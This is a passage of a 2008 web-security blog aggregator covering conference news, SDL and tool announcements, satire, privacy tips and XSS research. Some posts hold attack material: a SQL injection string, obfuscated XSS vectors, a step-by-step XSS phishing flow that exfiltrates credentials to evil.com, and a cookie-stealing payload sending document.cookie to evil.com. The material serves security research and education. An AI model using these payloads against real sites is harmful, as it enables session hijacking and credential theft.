I trust that this resolves your query, and confirms that we have opted you out of the service and any related [redacted] service. If you have any further queries please feel free to contact me directly.

Kind regards
[names redacted]

Pie-on-face.

I didn't know the string had cause any abnormal activity, and hence didn't mention it to them as I usually would when I find these things. I replied with a thanks, an apology, and a warning that they should get a security person to address their SQLi flaws before one of the automated SQLi's does it for them.

The more interesting question though is, have I really done anything wrong? I potentially entered my name as ' or 1==1--, nothing more, nothing less. I also had a legitimate intent to use the service. An innocent n00b could have done the same or similar by chance, although the chances are much less likely, and I would think that they wouldn't be in trouble. It would seem intent and foreknowledge comes into it. I possibly knew what could happen, and I possibly did it on purpose, where as a n00b wouldn't. But, if intent comes into it, the full scope needs to come in too, my knowledge would have allowed me to use a benign string that wouldn't damage anything on their systems, and I always report these things when I find them. Hence, my intent was most likely to make the intertubes a safer place. Right, so if your intent was good but you still do something bad, then potentially you should be punished. However, in this case, did I do anything bad? The only person adversely affected was myself (and with a minor irritation at that), and the provider gets to patch a hole before it was seriously 'sploited (hopefully). Also, I am a member of ' or 1==1--, which should allow me to type my affiliations name without fear or prejudice. What do you think?

P.S. The discussions in this post are hypothetical and of theoretical interest, they do not constitute an admission of guilt or a claim to have performed any actions mentioned.

:)

The Spanner

Javascript vbscript challenge

Posted: November 9th, 2008, 1:47pm CST by Gareth Heyes

Tags: Security [edit]
Whilst hacking away in javascript I was experimenting with various things and I thought of a problem which would make a good challenge.

The idea was to produce some vbscript which executed the msgbox function without using parenthesis but the trick was not to raise a syntax error in javascript when parsing the code. I found a cool solution to this but lets see what you can come up with. Here are the main rules:-
Rules
1. No parenthesis may be used.
2. The vbscript version must execute msgbox with a argument of 1.
3. No syntax errors in either vbscript or jscript.
4. Errors can’t be turned off, using window.onerror for example is not allowed.
5. Both code samples must work in IE7.
6. The javascript and vbscript code should be identical.

In order to win the challenge you must provide the correct code which executes within the following tags:-
```
<script type="text/vbscript">
Your vbscript code here
</script>
 
<script type="text/javascript">
Your javascript code here
</script>
```

The Turkey Curse

Deepsec, 25C3, CGNSec and everything else

Posted: November 6th, 2008, 3:48am CST by fukami

Tags: Events Security Deepsec OWASP 25C3 [edit]

Next week I will stay in Vienna to join Deepsec. Last year the conference was just amazing and I’m also looking forward to visit Metalab, one of my favorite hacker spaces. BeF and me will have a talk about ActionScript 3 obfuscation/de-obfuscation and other fun stuff with byte code. BeF released a new version of erlswf which is capable of disassembling AS3 and returning this disassembly as JSON. If you are interesting in those things you should check it out. BeF will hopefully blog about erlswf in detail (hinthint :)

During the last weeks I was one of the persons who looked through all the submissions (nearly 300!) for the 25C3. I was also involved into the decisions what talks will take place. I won’t tell much, but I think it will be interesting and much more focussed on technical topics rather than meta-blabla like the last years. BeF and me are going to speak about Flash stuff at 25C3 as well and we will also release a paper for the conference proceedings.

In November I will be at OWASP Germany 2008 in Frankfurt and talk about RIA security. I’m still not 100% sure what I will exactly talk about, but I think I will focus on difficulties one has to face when auditing complex RIA applications. Most people already know that I’m not a big fan of OWASP since it’s much to much vendor centric in my point of view (but, well, I don’t like to start a big rant here right now). Anyways, I’m looking forward to meet Alexios from n.runs and Martin at the conference.

Last month Stefan and me founded CGNSec. The idea is to meet security people and researchers from the Cologne/Bonn area to talk about unfinished ideas and projects as well as having some beers. Yesterday there was the second meeting and it was real fun. There were even some EZB guys from Frankfurt and we had some interesting conversations. I hope we will have some presentations from time to time, since there are quite some people with interesting stuff. I also hope that the MWCollect guys from Bonn are joining us next time.

Some personal notes: I got engaged with my girlfriend. Since she’ll go to Hamburg beginning of next year to join Henri Nannen Journalist School I will probably leave the Rhineland in between the next two years (well, not before she will finish). I really feel sad somehow, since I feel home here. But after her studies she will probably not coming back, so I will follow her sooner or later.

I joined a carnival society some months ago called “Beueler Stadtsoldaten”. The Rhenish Carneval is starting in a couple of days and I will have quite a couple of events where I will do some dancing (nothing to complicate really) - and I’m thinking about starting a blog or Soup where I like write about some experiences, post some photos and tell about all the dirty little things happen there. I will probably announce it using my Twitter account.

Last but not least a little advertising: End of November the book of Mario Heiderich, Christian Matthies, Johannes Dahse and me will be published by Galileo Press. It’s in German and it calls “Sichere Webanwendungen” (secure web applications). I was only responsible for everything related to Flash, so most of the work was done by the others. The nice thing is that it will be published only using my nick, not my real name :)
Tags: Events, Security, Deepsec, OWASP, 25C3, CGNSec, Beuel, Stadtsoldaten

CGISecurity.com: Your Web Site and Application Security Resource

The Month of Burp Pr0n

Posted: November 3rd, 2008, 8:13pm CST by Robert

Tags: Security Tools [edit]

The creators of BURP Proxy are making major updates to this free web proxy. "The next release of Burp Suite is near to completion, and will be made available during December if all goes well. This is a significant upgrade, with major enhancements to several existing components, and some exciting brand...

Michael Howard's Web Log

Volume 5 of the Microsoft Security Intelligence Report is out

Posted: November 3rd, 2008, 8:16am CST by michael_HOWARD

Tags: Security [edit]
Volume 5 of the Microsoft Security Intelligence Report is now out, highlights include:
- Security vulnerability disclosures - Microsoft and third-party software
- Vulnerability Exploits – Microsoft software
- Browser-based exploits - Microsoft and third-party software
- Security and privacy breaches
- Malicious and potentially unwanted software trends
Volume 5 of the SIR also includes a detailed examination of the threat ecosystem which explains how threats propagate across the internet, how users become infected and the resultant impact on privacy and identity theft.

The one item that stood out for me was the move from successfully attacking Microsoft applications and browser objects to attacking and compromising 3rd-party applictions and browser objects.

The Spanner

Hackvertor and clickjacking

Posted: November 2nd, 2008, 2:29pm CST by Gareth Heyes

Tags: Security [edit]
Update
I’ve updated Hackvertor for the final time until the brand new version is ready. I thought I’d blog about it because it includes some interesting features from a security point of view.
HTML escape
The DOM inspector didn’t escape HTML when inspecting the DOM, this didn’t cause XSS because user interaction was need to actually execute the inspector but I fixed it anyway because I need to check some values when performing some javascript research.
Clickjacking protection
I’ve also added some Clickjacking/CSS Overlay/UI redressing/Insert Lame name here protection. It works by destroying the Hackvertor UI if it has been framed. I can do this because the vulnerability is that Hackvertor executes javascript and isn’t vulnerable to CSRF because there’s no server side action to perform

The code I’ve used is:-
```
if(top != self) {
   window.onload=function() {
     document.open();
     document.write('UI Redressing/Clickjacking/CSS Overlay/Latest Buzzword protection');
     document.close();
   }
}
```
Inspect output improvements
Finally I’ve updated the inspect output button. This button is really handy when you need to traverse a object quickly and find “hidden” properties or relationships with other objects. It works by evaluating the output entered and running a bruteforce check on the object for properties between -10000 and 10000 as well as single characters. Why do this? Because it exposes some interesting browser quirks in Firefox and maybe others, originally it was inspired by DoctorDan’s discovery on sla.ckers that the reg exp object in Firefox contains a hidden property.

The format now looks nice and I’ve added native js properties to help with js hacking and XSS research. A sample of how it works can be found here:-
[tinyurl.com]

Michael Howard's Web Log

Security-Related MSDN Magazine Articles

Posted: October 28th, 2008, 1:38pm CDT by michael_HOWARD

Tags: Security [edit]

Bryan Sullivan and I wrote a couple of articles for this month's MSDN Magazine. If you're not aware, November focuses on Security.

The two articles are:

Test Your Security IQ

Threat Models Improve Your Security Process

And there's the Agile SDL paper than I already mentioned.
Agile SDL

Posted: October 28th, 2008, 1:35pm CDT by michael_HOWARD

Tags: Security [edit]

Over the last year or so, a bunch of us in the SDL team have been working with agile groups across Microsoft to help streamline the SDL for agile methods. Bryan Sullivan wrote a paper for MSDN Magazine explaining where our current throughts lie. Clearly this is just the start, we have some more work to do, but we thought it would be worthwhile putting our ideas out there to get feedback and comments.

Disenchant's Blog

I’ve got a backlink from example.com - RFC 2606

Posted: October 23rd, 2008, 11:00pm CDT by Disenchant

Tags: Security [edit]

Many of my readers will know, that example.com, example.net and example.org are reserved for use in documentation, according to RFC 2606. If you surf to any of these sites, there will be just the same information I wrote before and also a link to the RFC 2606. So it’s quiet interesting, why according to my statistics, example.com has a link on it, pointing to my website. I don’t no why this happened but it’s quiet interesting an if somebody can tell me what happened, I’m glad to know.

Here’s a proof (even if it only a line of text ):

ha.ckers.org web application security lab

Security Expert Rehabilitation

Posted: October 22nd, 2008, 4:18pm CDT by RSnake

Tags: Random Security [edit]

In light of my last gloom and doom post, I wanted to turn the tables and add some humor. A while back a bunch of us came up with the concept of a security expert rehabilitation program. Once we give up security and go back to manual labor we need to re-acclimate ourselves to the rest of society. So, in no particular order, here’s what the rehabilitation program might look like:

Step 1: Sign up for a MySpace account. Facebook is fine too. Actually why not all of the social networking platforms? It’s easier to keep in contact with everyone if you do. Make sure to fill out each form field completely and accurately!

Step 2: Pick a password that is easy to remember and make sure to write it down on a sticky note. Feel free to tell your friends in case they want to use your account too. Better yet, make a list of all your passwords and change them all - to “password”. If someone is annoying and makes you use a number, “password1″. An upper case, a number and a special character use “Password+1″. Now tear up that pesky list you just made. You’re living easy now aren’t you?

Step 3: Download every third party widget, gadget, movie, game you can think of onto your social networking profile. Cuz that’s fun. And make sure to put every gory detail about who you are, where you live, what your birthday is, what your mother’s maiden name is, what you like and dislike, etc…. And feel free to update it regularly with any and all personal information that may have changed. That way people can get to know you better.

Step 4: Log into your newly created webmail account and email all your friends your likes and dislikes. Don’t forget to enable HTML rendering so you can see all the neato pictures! And don’t feel afraid of hitting reply to those spam emails. That’ll help them know that you’re not interested.

Step 5: Start downloading toolbars and desktop applications galore so that you can get your real time stock quotes, shop for beanie babies and know what the weather is like in Iceland at all times.

Step 6: Go ahead and remove all that anti-spyware and anti-malware junk. It makes your computer so much faster if you do! Plus, who wants to keep hitting “Ok” and “Allow” to every security warning? Turn `em off!

Step 7: Go ahead and plug that laptop right into the Internet. No need to use a firewall. Those are just complicated anyway. Or better yet, just go to the local cafe and use their public wifi. Hey, cute girls hang out there - that’s what normal people do: they hit on cute girls who are using open wifi. You want to be normal too, don’t you?

Step 8: Don’t bother to lock your computer when you go to the bathroom at your cafe. Let the police worry about crime - it’s not your job anymore.

Step 9: Open all the attachments you get in emails. Hey, they might be important, and you don’t want to be rude to whomever sent them to you, now do you? That’s not what normal people do.

Step 10: And finally, start clicking on all ads everywhere. They wouldn’t give a “special offer” to just anyone!

If I don’t post before then, have a great week and a good Halloween for those of you who celebrate the more pagan of holidays!

The Spanner

Wordpress plugin security

Posted: October 22nd, 2008, 10:10am CDT by Gareth Heyes

Tags: Security [edit]

It’s really bad. The amount of code that gets released and is vulnerable is shocking. Wordpress you need to do something. Anything. Disable all plugins now, run a audit on the code or use a user security review process, even as a last resort run some sort of automation on the code. Is it really that hard? Scan for common vulnerablities like echo PHP_SELF, global injections and so on.

I’ve just reviewed yet another security report from Blogsec and some more vulnerable plugins. You boast about all those users. Do something to help secure their software.

Disenchant's Blog

hackIt.js - A hidden Phishing Method

Posted: October 21st, 2008, 3:22pm CDT by Disenchant

Tags: Security [edit]
It’s much later than I wanted to post this but finally here is my demonstration I’ve done for the Security-Zone 2008. Because there are so much resources about XSS and SQL Injections out there already, this posting is just about the hidden phishing method.

How it works:
1. Attacker needs a XSS vulnerability at example.com
2. Configuration of the hackIt.js and include it to example.com by inserting it through a script-Tag
3. hackIt.js knows because of it’s configuration where the login page of example.com is
4. The script replaces the content of the infected page at example.com with a copy of the login page which will be loaded through a XML HTTP Request
5. hackIt.js will automatically find the login form and it’s input fields in “faked” login page
6. The submit button of the login form will become a normal button without it’s submit functionality but it will now have a onclick-function
7. As soon as the user clicks on the submit button to login, an image will become dynamically added to the DOM tree, which points to a server side script at evil.com, including the values of the login fields as attributes.
8. Because of as soon as an image becomes loaded, a HTTP GET request will be sent to the image’s location, the attacked user’s login credentials will be sent to evil.com in cleartext, where an attacker can now store it
9. Last but not least, the hackIt.js normally submits the login form to it’s originally thought location.
10. If the user has no Proxy or other tamper mechanism in place, he/she will never find out, that the login credentials have been sent to evil.com
I know it sounds quiet complex but it’s really easy if you get the point. If there are any questions, I’m glad to answer these as a comment or in an email

Because of I’m not sure if it’s a good idea to post the source code (even if it’s really easy to write it on your own), I decided to not make it available through my blog but if you’d like to receive the code, just let me know directly. Anyway, below you can watch a small video which demonstrates the attack, performed by the script.

CGISecurity.com: Your Web Site and Application Security Resource

Wireshark 1.0.4 Released

Posted: October 21st, 2008, 11:59am CDT by Robert

Tags: Security Tools [edit]

A new version of Wireshark (Ethereal) has been released to address multiple security issues. "Impact It may be possible to make Wireshark crash by injecting a series of malformed packets onto the wire or by convincing someone to read a malformed packet trace file. Resolution Upgrade to Wireshark 1.0.4 or later....

The Spanner

Bluehat

Posted: October 20th, 2008, 4:23pm CDT by Gareth Heyes

Tags: Security [edit]

It was awesome! My first conference and the first time I’ve ever spoken about security stuff. I was really nervous but after the first one I calmed down a bit. We presented a total of three times, two 30 minute slots and a final 50 minutes. It was a lot easier because there was three of us and we all shared the talk equally and it was pretty amazing that it worked because we only met in person when we got there.

The best part of the conference was meeting people with similar interests and talking about security stuff, I really enjoyed talking to Eduardo (Sirdarckcat), David Lindsay (Thornmaker), David Ross, Alex (Kuza55), Eric (Watch out for those banana men dude) and many more people.

Personally I think the best talk of the conference was about buffer overflow defenses in Windows (Mitigations Unplugged), I’m currently learning about these techniques and Matt did a great job of explaining every mitigation that Windows has. I can’t wait until I’m good enough to exploit these techniques

My part of the talk went well but I’ve just got to learn to slow down a bit and provide more explanation. Also turning the mic off when leaving the room would be a good idea

I went through my XSS vectors and I wanted to demo the creation of the final complex CSS expression vector but my Hackvertor tool wouldn’t fit on the damn screen I didn’t want to change the resolution in mid presentation. I might release a new video to the Bluehat site if I can get permission and if I actually record it. I then demoed my UTF-7 style sheet which is interesting, @charset at rule is not used much and I’m not sure if everyone knew it could be used to encode expressions

Finally I went through some CSS overlay (Click jacking) attacks and mitigation techniques. A browser level solution is needed here as all we’ve got currently is frame busters/breakers. If it was up to me I’d lock iframe/frame/object/applet styles and make them always visible but I can hear you designers shouting in the background.

Eduardo then described the best part of our talk IMO, the CSS attribute reader he came up with. It’s just plain awesome. When he described the technique to me via IM I thought it was cool but I couldn’t think of a viable attack situation however when meeting up he made it much clearer and we came up with a few good ideas on how it can be used in an attack.

David Lindsay then went through some more CSS hacking techniques, LAN scanning and history crawling. We then went on to demo our games and POC’s which was fun.

The last day I was invited to be on the WAF panel debate because someone dropped out, it was a great opportunity to express the real problem behind the countless amount of web sites with XSS and SQL injection holes. Nate and Mike really had some good views on the subject and I totally agreed with their opinion. We came to the conclusion that although a WAF can never be a perfect solution it does add some benefit however fix your code first and throw out the crappy books with examples like echo $_REQUEST['something'] in.

Before I forget my damn CSS paint application didn’t work Damn I should have simplified it for the presentation. Anyway here’s the fun demo:-
CSS paint

Other demos from our presentation are available here:-
Our demos

Last but not least the slides:-
the_sexy_assassin2ppt

Justice League

Software Security Framework

Posted: October 15th, 2008, 10:51am CDT by gem

Tags: Software Security [edit]

Brian Chess and I just published an article on the Software Security Framework displayed below.

Governance	Intelligence	SDL Touchpoints	Deployment
Strategy and Metrics	Attack Models	Architecture Analysis	Penetration Testing
Compliance and Policy	Security Features and Design	Code Review	Software Environment
Training	Standards and Requirements	Security Testing	Configuration Management and Vulnerability Management

Our plan is to use this framework to build a maturity model for software security by interviewing executives running many of the top ten large-scale software security initiatives. Please check out the article, and stay tuned for more.

Michael Howard's Web Log

SAFECode releases "Fundamental Practices for Secure Software Development" document

Posted: October 8th, 2008, 12:04pm CDT by michael_HOWARD

Tags: Security [edit]

Today, SAFECode released an important document entitled, “Fundamental Practices for Secure Software Development” aimed at helping software producers create more secure software.

The document is unique in that it describes what SAFECode members are doing in practice to raise the security bar; it’s not a theoretical or academic document.

I believe the fact that it describes what’s used in practice is what makes the document important because it means the ideas in the document can be implemented in the real world regardless of the type of software under development.

So take a look, and let me know what you think.

Updated: first review from InfoWorld.

Justice League

What Measures do Software Vendors Use for Software Assurance?

Posted: October 6th, 2008, 1:04pm CDT by jeremy

Tags: Enterprise Software Security [edit]

My last project for my former employer (Software AG) was a study of what software vendors do to achieve software assurance. The goal of the study was to see whether we (Software AG) were at, above, or below the norm, and to adjust investments in assurance accordingly. All but one of the vendors who participated are household names - these weren’t mom & pop shops, but major multi-national ISVs, most of them with sales of a billion dollars a year or more.

I presented a brief summary of the study results at the recent “Making the Business Case for Software Assurance” workshop hosted by Carnegie Mellon’s Software Engineering Institute, and sponsored by the US Department of Homeland Security. I’ll also be presenting an even briefer summary of the results at the 24th Annual Computer Security Applications Conference in December.

In my new role at Cigital, I’m hoping to be able to expand the survey beyond software vendors into e-commerce vendors, embedded software suppliers, financial institutions, etc., as well as to systematize the survey so it can be done by filling out a web form instead of as an interview. I welcome your suggestions as to how to make this project more relevant to vendors and software purchasers - and also welcome your participation in the survey, as well as suggestions on how to fund the ongoing work!

And finally, thanks to the (anonymous) vendors who participated in the first phase of the project. While I can’t thank them by name, I very much appreciate their input.

The Spanner

To infinity and beyond!

Posted: October 1st, 2008, 4:26pm CDT by Gareth Heyes

Tags: Security [edit]
I’m still heavily researching Javascript in search of XSS vectors and interesting syntax. I’ve found loads of cool stuff recently and while looking through the ECMA spec. I came across the Infinity object which is a global and a number, of course I was already aware of it but I thought what kind of interesting code can be constructed with it.

It turns out quite a lot, here’s a window.name vector. I’ve added the variable name to simulate and execute the code.
```
name = 'alert(1)'
-Infinity++in eval(1&&name)
```
This doesn’t look like it could work but does
```
+Infinity++in+alert(1)
```
And my final example combines a few different operators:-
```
1,0000instanceof delete~void--Infinity/~alert(1)
```
There are endless possiblities and I’ll leave you to play

tssci security

OWASP NYC AppSec 2008 and NYSec Recap

Posted: September 26th, 2008, 8:51pm CDT by Marcin

Tags: Security [edit]

Living in NYC has its perks, one being that we host the largest OWASP chapter across the world. The NY/NJ Metro chapter put a lot of effort into making sure this last week went smoothly, even with the change of venues at the last minute. I had a lot of fun, and it was nice seeing everyone again, and meeting new faces. On Wednesday night, a bunch of us gathered for a NYSec meeting at DBA down on 1st Ave and 2nd St. Some cool new people I got to meet included Andres Riancho, Dinis Cruz, Ryan Naraine, Ivan Ristić, Dave Aitel, RSnake, Chris Nickerson, and Gunnar Peterson… phew! That is not even a fraction of the people you get to see at these conferences.

Anyways, my two favorite talks go to Dinis Cruz and Dave Aitel. Firstly, Dinis is such an energetic guy, you just want to stand up, do the guido fist pump and then run off to do something really, really cool. As an independent contractor working for Ounce, Dinis developed an open source tool called o2 which helps code reviewers navigate mountains of static analysis data quickly and logically. Of the couple static analysis tools I’ve come across, their interfaces don’t exactly cater to performing thorough, quick and accurate analysis. What o2 let’s you do, is crank up the volume on these tools and just run with it, identifying patterns in code really easily, letting you cover as much as possible. I still have to spend some time playing with it, but it definitely would make anyone’s job easier. All that, and it’s open sourced and will read in any CIR data from an Ounce scan.

Dave’s talk, “Corruption” really captured my sentiments on non-webappsec research (present day). While in university, I always thought the barrier to entry prohibited a lot of people from becoming really good at writing reliable buffer overflow exploits. This could be seen as both good and bad, given the fact that many operating systems have randomized, non-executable memory stacks with Vista ASLR, XP SP2 DEP, PaX/Grsecurity, etc, making them somewhat immune to the vulnerability, but not 100% entirely. This presents a problem, a huge gaping vulnerability in both our systems and our thinking. Buffer overflows continue to surface even after being discovered 15 years ago. But because it is so hard, we don’t see many exploits on milw0rm or packetstorm. And let’s face it, if they’re not on there, then they don’t exist. Right? Maybe. Though one thing is certain, the people writing exploits are professionals and are really, really good at what they do. Be it Dino, Gobbles or Aitel (who was being modest when he said he’s not the best), it is true there are people out there who can and will do it, and when the next remotely exploitable buffer overflow that bypasses stack protection comes along, we won’t know what fucking hit us.

Also, we’ve begun to set the agenda for OWASP EU Summit Portugal. Arshan Dabirsiaghi is looking for folks to contribute to ISWG, a group with some modest goals, like fixing the Internet. Seriously though, the group is looking at new ways to secure the browser, and what approach(es) they’ll take to do it. I’d love to talk about some other projects, but really, there are just too many worthy projects to list all out here, so head on over to the OWASP EU Summit page, and find something of interest.

One last closing thought I’d like to squeeze in… Throughout the entire week, I found it really coincidental that ISC2 chose to sponsor the OWASP conference and release a new certification, the CSSLP (Certified Software Security Lifecycle Professional). Given that James McGovern is putting a lot of effort into developing an OWASP certification, Dre posting R.I.P. CISSP and getting in the top 5 Google search results for “CISSP”, I find it strangely odd they go and do this. It also seems as if they put no thought into the certification at all, just one they cranked out to beat OWASP “to the punch” and make a buck at the industry’s expense, laughing all the way to the bank. Shameful.

Michael Howard's Web Log

Practical Defense in Depth

Posted: September 26th, 2008, 2:50pm CDT by michael_HOWARD

Tags: Security [edit]

<sent from Cabo San Lucas Airport - heading back to Austin >

Crosstalk has published an article for mine regarding how we use Defense in Depth within the SDL, and in Microsoft in general.

Disenchant's Blog

Counter-Terrorism advertising campaign launched

Posted: September 26th, 2008, 2:20am CDT by Disenchant

Tags: Security [edit]

I totally forgot to click publish for this blog posting but better now then never

The Metropolitan Police Service launched a Counter-Terrorism campaign and unfortunately it seems to be real and not just a joke.

The following is copied from here:

The five-week campaign asks members of the public to report any suspicious behaviour in confidence to the Anti-Terrorist Hotline on 0800 789 321.

Press advertising will appear in London’s major newspapers and on the City’s main commercial radio stations.

Camera posterThe press ads seek to raise awareness of some of the items/activities which may be needed by, or be of use to, terrorists. It asks the public to consider whether they have seen any activity connected with them which may have made them suspicious.

Radio advertising has been devised to complement the press ads and features an individual thinking out loud about concerns she has around some suspicious behaviour. She is reassured that she should call the confidential Anti-Terrorist Hotline on 0800 789 321 and that any information will be considered by specialist officers.

Advertising will also run in the Greater Manchester, West Yorkshire and the West Midlands.

At least there is already an alternative poster:

Justice League

RSS Feed for McGraw’s Columns

Posted: September 25th, 2008, 5:50pm CDT by gem

Tags: Software Security [edit]

As Justice League readers know, I have been writing a security column since October 2004. I started with Network Magazine, and stayed with CMP through the launch of darkreading.com. In April, I moved the column to informIT. All of the columns can be found here.

Many of my columns end up being about issues in software security. In particular, the articles I point to below may be of interest to blog readers. Note that some of them are appropriate for business leadership.

To make things easy going forward, we just set up an RSS feed set up for my writings. You can subscribe to that here.

Software Security Columns

Is Application Security Training Worth the Money? [2/06]

Want Turns to Need (software security market size 2006) [4/07]

JSON, Ajax & Web 2.0 [6/07]

Software Security Strategies (4 ways to start an enterprise program) [1/08]

Paying for Secure Software (using total cost of ownership for software projects) [4/08]

Application Assessment as a Factory [7/08]

Software Security Demand Rising (software security market size 2007) [8/08]

Getting Past the Bug Parade (the importance of addressing architecture) [9/08]

Dominic White's .tHE pRODUCT

German Gov says Google is the Devil; SRWare performs exorcism

Posted: September 24th, 2008, 1:35pm CDT

Tags: Security [edit]
My tin foil, now covered in joyous spittle, reflects the news that I'm not crazy (and neither is the EFF or Tom). In reaction, SRWare provides Iron, which according to downloadsquad had none of the privacy invading evil zombies the German Federal Office for Information Security warned us about (you'll notice the warning is similar to mine, take *that* persistent GoogleUpdate process). If you really need another browser and aren't happy with the one, use Iron instead of Chrome at least.
I have since installed Iron, and done some checking with the source. It appears SRWare has made the following changes (this is based on the Babel translation of the page in German, so is fuzzy):
- They are using 525.19 of Webkit rather than Chrome's current 525.13.
- The unique clientID has been removed.
- The TimeStamp for Chrome's install date has been removed.
- Each keypress from the Suggest feature is no longer sent to Google.
- Google-hosted alternative error messages have been disabled.
- RLZ encoding of information to Google, such as where Chrome was downloaded and other configuration options has been removed.
- The persistent GoogleUpdater services has been disabled (this isn't removed when you uninstall Chrome).
- Something about the homepage and URL tracking has been removed.
Hat tip to cocooncrash for the link.

Billy (BK) Rios

Surf Jacking Secure Cookies

Posted: September 24th, 2008, 4:10am CDT by xssniper

Tags: Network Security [edit]

I was thinking back to Sandro’s paper on Surf Jacking and I realized that there was one small caveat where the “Secure” flag wouldn’t protect your cookies from Surf Jacking…

The Side Jacking and Surf Jacking techniques basically stipulate that the attacker has to be on the same network segment as the victim (you have to be able to sniff the traffic in order to see the cookie go by on the network)… So I’ll stipulate the same.

Say I go to https://xs-sniper.com and xs-sniper.com sets a cookie, but sets it with the “Secure” flag. An attacker could eventually force my browser to load a non-secure version of xs-sniper.com (http://xs-sniper.com) in an attempt to force my session cookie to travel in the clear so they can sniff the cookie as it goes by (this is a simplified description of Surf Jacking). Now, if all my cookies are set secure, my cookies won’t travel over the wire in the clear… I’m safe… right?

Not so fast… If application sets all the cookies with the secure flag, BUT the web application also has a “script src” tag pointing to an insecure location (http://) then you can STILL STEAL THE COOKIE, even if its marked secure. Let me explain…

If an attacker is on the same network segment as you, not only can they sniff clear text data (http://) they can also INJECT data as it traverses the network. Let’s say I have a page on xs-sniper.com that does analytics for my web application. We’ll name this page http://xs-sniper.com/analytics.html. This page is meant to be served as http:// and contains no sensitive data, but if a user makes a direct request for https://xs-sniper.com/analytics.html the page is still served. Inside of the page’s HTML is a script src tag that looks something like this:

<script src=”http://myanalytics.com/webbugs.js”></script>

Now, using the surf jack technique, Sandro redirected the victim to an http:// version of the targeted site. In our case, redirecting to an insecure version of the site doesn’t help us as all the cookies are set SECURE. Instead, we’ll redirect to an https:// page on our victim domain that contains an insecure script src tag like the one shown above (https://xs-sniper.com/analytics.html). Once we see the request for the insecure javascript file (webbugs.js) file, we can inject our own javascript cookie stealing payload (as the script src request is made in the clear):

CookiesStealer = new Image();

CookiesStealer.src = “http://www.evil.com/stealer.jpg?”+document.cookie;

The injected script is executed by the page that loaded it and gives up the cookies for the domain, even if they are marked secure. There you go… Secure cookies stolen.

Without warning or prompt, every browser I tested allowed an https:// page to load a script src from an insecure http:// location. Ok… I lied… every browser EXCEPT ONE… can you guess which lonely browser provided a warning before allowing an https:// page to load a script from an http:// location? You can find the answer here. For those of you in disbelief, you can test your favorite browser(s) here.

SIDENOTE: HTTP pages that call document.cookie will NOT have access to SECURE cookies… well at least in the browsers that I checked… that’s pretty cool…

CLARIFICATION ON SIDENOTE: From my tests (which only covered a few browsers) it seems that the document.cookie object called from an http:// page WILL NOT contain secure cookies (this is a GOOD thing). So, if I were able to inject a full http:// page and called document.cookie, the secure cookie would be missing. This is why I needed to call an https:// page with a script src that loaded an insecure script file.

Michael Howard's Web Log

SDL Evolution

Posted: September 16th, 2008, 11:02pm CDT by michael_HOWARD

Tags: Security [edit]
UPDATED: Added IOActive post

As many of you have seen today, there's been plenty of press about us opening up the SDL for use by other software developers and releasing our threat modeling tool. For those of you who have no clue what the heck I'm talking about, here are a handful of articles about what happened today:
- Microsoft becomes high priest of secure software development (C|Net)
- Microsoft looks to spread secure software expertise (Computerworld)
- Microsoft to Share Its Secure Development Blueprint, Threat Modeling Tool (Dark Reading)
I'm not sure about the "High Priest" moniker, but what the heck :)

Cigital also blogged about the event, most notably the SDL Pro Network, and IOActive posted some comments too.

I'm really excited to see the SDL move forward and most importantly, outward. We have learned a great deal about what it takes to make steps toward securing software. We don't expect perfection, but if more people embrace some of the principles we define in the SDL, and we have experienced and knowledgable partners scale the effort, I think the IT world will be a substantially more secure place.

-Michael

CGISecurity.com: Your Web Site and Application Security Resource

Tools: Scalp - Apache log analyzer for security

Posted: September 16th, 2008, 6:44pm CDT by Robert

Tags: Security Tools [edit]

Romain Gaucher posted the following email to The Web Security Mailing List today announcing a handy tool he authored. "I remember reading here a couple of emails about how to analyze the apache log in order to look for potential attacks.Since I needed to do exactly the same few times ago,...

Justice League

Strengthening Software Security through collaboration

Posted: September 16th, 2008, 12:03pm CDT by Guest

Tags: Software Security Touchpoints [edit]

This is a guest post from Brian Mizelle, a managing principal at Cigital.

Today, Microsoft announced the launching of its SDL Pro Network. Cigital is proud to be part of this pilot offering, and pleased to continue to take the message (and the delivery) of software security to the market. As a network of independent software security professionals, the SDL Pro Network will collectively take our best of breed experiences and work collaboratively to develop unified service offerings around Microsoft’s SDL methodology.

At Cigital we are proud of our extensive experience running more than six large-scale enterprise software security initiatives spanning customers in financial services, independent software vendors, and embedded systems. We have trained several thousand developers, architects and executives on the fundamentals of software security. We have rolled out tools and best practices for many of our best customers. We have helped to grow the software security market from its infancy. Cigital is the largest and most experienced software security services provider in the world, and we look forward to continuing our market leadership through our partnership with Microsoft.

The number of firms delivering software security services is small and forms a tightly knit community, including companies of varying sizes, experience and areas of expertise. As a group, we have all read and embraced the three top software security methodologies, including CLASP from OWASP, the Touchpoints from our own CTO Dr. Gary McGraw, and of course, Microsoft’s SDL. Regardless of what flavor of methodology our customers subscribe to, we all share the common goal of educating and delivering services that protect our clients’ assets and good name through better software security. Collaborative efforts that bring together the best minds in the business can only help improve what we do with our own customers and broaden our thoughts on the subject.

Kudos to Microsoft for pulling the SDL Pro Network together. Our clients will all benefit from the experience…stay tuned to this space for more.

Dominic White's .tHE pRODUCT

Privacy Enhancing Techniques

Posted: September 15th, 2008, 2:30pm CDT

Tags: Security [edit]
Ritasha Jethva, our Privacy & Data Protection competency lead added some nice tips to a publicity piece that made it otherwise more useful than it would have been. I'm republishing them here along with some other stuff I've found of late.
You may already be a victim of identity theft if:
- Items have appeared on your bank or credit-card statements that you do not recognise.
- You've applied for medical or other benefits but are told that you are already claiming.
- You've received bills, invoices or receipts addressed to you for goods or services you never purchased.
- You've been refused a credit card or loan, despite having a good credit history.
- A mobile-phone contract has been set up in your name without your consent.
- You have received letters from lawyers or financial institutions for debts that aren't yours.
- Mail expected from key organisations the likes of your bank have not arrived, or even if you are not receiving any mail correspondence at all.
The following tips will help you protect your identity and prevent criminals from committing fraud in your name:
- Turn off extra features in any technology that you aren't using.
- Always think before you click or press a button; personal awareness is key.
- Don't throw away entire bills, receipts, credit-or debit-card slips, bank statements or even unwanted post in your name. If you do need to destroy unwanted documentation, do so using a shredder if possible.
- Keep your personal documents in a safe place, such as a lockable drawer or cabinet.
- Be vigilant around what you publish about yourself, especially on internet sites.
- If your passport, ID book or drivers licence has been lost or stolen contact the issuing organisation immediately.
- Keep your passwords safe and never record or store them in a manner which leaves them open to theft, such as in your purse or wallet.
- Check statements as soon as they arrive. If any unfamiliar transactions are listed, contact the company concerned immediately.
- Never divulge personal information via email or sms' no matter how trustworthy the request may appear to be
Then, to add some stuff I've picked up (mostly from a technical level) that has worked well:
